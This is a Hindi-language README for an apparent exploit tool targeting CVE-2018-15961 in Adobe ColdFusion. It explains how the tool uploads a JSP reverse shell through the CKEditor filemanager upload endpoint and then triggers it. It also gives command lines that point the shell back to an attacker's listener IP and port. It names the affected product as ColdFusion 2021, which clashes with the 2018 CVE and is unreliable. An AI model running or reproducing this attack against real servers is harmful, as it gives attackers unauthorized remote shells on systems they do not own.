CVE-2018-15961 - Adobe ColdFusion RCE

इस रिपॉज़िटरी में Adobe ColdFusion 2021 में RCE भेद्यता के लिए मेरा एक्सप्लॉइट कोड शामिल है।

Exploit विवरण

यह एक्सप्लॉइट JSP रिवर्स शेल युक्त एक POST अनुरोध को /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/upload.cfm पर भेजता है। सफल होने पर, यह शेल को /cf_scripts/scripts/ajax/ckeditor/plugins/filemanager/uploadedFiles/shell.jsp पर अपलोड कर देता है। उसके बाद कोड एक साधारण GET अनुरोध भेजकर शेल को ट्रिगर करता है।

उपयोग

# Basic usage
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443

# With custom filename for the shell
python3 coldfusion_rce.py -u http://172.31.1.15:8500 -l 10.10.0.25 -p 443 -f reverse.jsp